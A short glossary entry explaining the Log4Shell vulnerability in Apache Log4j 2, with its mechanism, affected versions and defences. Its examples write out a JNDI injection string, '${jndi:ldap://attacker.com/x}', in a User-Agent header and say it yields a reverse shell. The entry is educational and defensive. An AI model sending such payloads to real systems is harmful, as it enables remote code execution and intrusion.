CyberGlossary

Vulnerabilities

Log4Shell (CVE-2021-44228)

Also known as: CVE-2021-44228, Log4j vulnerability

Definition

A critical December 2021 remote code execution vulnerability in Apache Log4j 2 that allowed attackers to run arbitrary code by logging a single JNDI lookup string.

Log4Shell is a CVSS 10.0 vulnerability in Apache Log4j 2 (versions 2.0-beta9 through 2.14.1) disclosed in December 2021. Log4j's message lookup feature evaluated ${jndi:ldap://...} strings inside log messages, causing the JVM to fetch and deserialise a remote Java class — yielding remote code execution. Because Log4j is embedded in countless Java applications and appliances, any input that ended up in a log (User-Agent, search field, file name) became an attack vector. It triggered a global emergency patching effort and is one of the most widely exploited zero-days. Defences are upgrading Log4j to 2.17.1+, disabling JNDI lookups, blocking egress, and using SBOMs to find affected components.

Examples

  • Sending User-Agent: ${jndi:ldap://attacker.com/x} to a Java web app and obtaining a reverse shell.
  • Exploiting an internal Java service by logging a malicious value entered in a username field.

Related terms